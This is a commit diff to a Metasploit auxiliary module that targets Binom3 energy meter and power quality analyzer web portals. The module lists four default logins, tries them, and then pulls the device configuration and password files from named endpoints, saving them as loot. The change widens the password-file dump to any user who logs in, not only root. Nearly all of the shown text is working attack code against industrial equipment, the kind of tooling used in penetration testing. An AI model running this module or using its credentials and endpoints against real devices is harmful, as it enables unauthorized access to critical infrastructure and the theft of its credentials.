Minor updates
parent
423648e347
commit
34b861403e
|
@ -16,11 +16,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump',
|
'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump',
|
||||||
'Description' => %{
|
'Description' => %{
|
||||||
This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found.
|
This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer management login portal(s), and attempts to identify valid credentials. There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'. In addition to device config, 'root' user can also access password file. Other users - admin, alg, user - can only access configuration file. The module attempts to download configuration and password files depending on the login user credentials found.
|
||||||
|
|
||||||
},
|
},
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['URL', 'https://ics-cert.us-cert.gov/alerts/ICS-ALERT-16-263-01']
|
['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-031-01']
|
||||||
],
|
],
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
|
@ -149,18 +148,18 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
get_cookie = res.get_cookies
|
get_cookie = res.get_cookies
|
||||||
cookie = get_cookie + ' NO-HELP=true; onlyRu=1'
|
cookie = get_cookie + ' NO-HELP=true; onlyRu=1'
|
||||||
|
|
||||||
# Attempting to download config / password file(s)
|
# Attempting to download config file
|
||||||
|
|
||||||
config_uri = '~cfg_ask_xml?type=cfg'
|
config_uri = '~cfg_ask_xml?type=cfg'
|
||||||
|
|
||||||
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
|
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
|
||||||
|
|
||||||
if res && res.code == 200
|
if res && res.code == 200
|
||||||
print_good('++++++++++++++++++++++++++++++++++++++')
|
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||||
print_good("#{rhost} - dumping configuration")
|
vprint_status("#{rhost} - dumping configuration")
|
||||||
print_good('++++++++++++++++++++++++++++++++++++++')
|
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||||
|
|
||||||
print_good("#{rhost}:#{rport} - File retrieved successfully!")
|
print_good("#{rhost}:#{rport} - Configuration file retrieved successfully!")
|
||||||
path = store_loot(
|
path = store_loot(
|
||||||
'Binom3_config',
|
'Binom3_config',
|
||||||
'text/xml',
|
'text/xml',
|
||||||
|
@ -169,35 +168,33 @@ class MetasploitModule < Msf::Auxiliary
|
||||||
rport,
|
rport,
|
||||||
'Binom3 device config'
|
'Binom3 device config'
|
||||||
)
|
)
|
||||||
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
print_status("#{rhost}:#{rport} - Configuration file saved in: #{path}")
|
||||||
else
|
else
|
||||||
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
|
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
if user == 'root'
|
# Attempt to dump password file
|
||||||
config_uri = '~cfg_ask_xml?type=passw'
|
config_uri = '~cfg_ask_xml?type=passw'
|
||||||
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
|
res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
|
||||||
|
|
||||||
if res && res.code == 200
|
if res && res.code == 200
|
||||||
print_good('++++++++++++++++++++++++++++++++++++++')
|
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||||
print_good("#{rhost} - dumping password file")
|
vprint_status("#{rhost} - dumping password file")
|
||||||
print_good('++++++++++++++++++++++++++++++++++++++')
|
vprint_status('++++++++++++++++++++++++++++++++++++++')
|
||||||
|
|
||||||
print_good("#{rhost}:#{rport} - File retrieved successfully!")
|
print_good("#{rhost}:#{rport} - Password file retrieved successfully!")
|
||||||
path = store_loot(
|
path = store_loot(
|
||||||
'Binom3_passw',
|
'Binom3_passw',
|
||||||
'text/xml',
|
'text/xml',
|
||||||
rhost,
|
rhost,
|
||||||
res.body,
|
res.body,
|
||||||
rport,
|
rport,
|
||||||
'Binom3 device config'
|
'Binom3 device config'
|
||||||
)
|
)
|
||||||
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
print_status("#{rhost}:#{rport} - Password file saved in: #{path}")
|
||||||
else
|
else
|
||||||
print_error("#{rhost}:#{rport} - Failed to retrieve password file")
|
return
|
||||||
return
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
|
||||||
|
|
Loading…
Reference in New Issue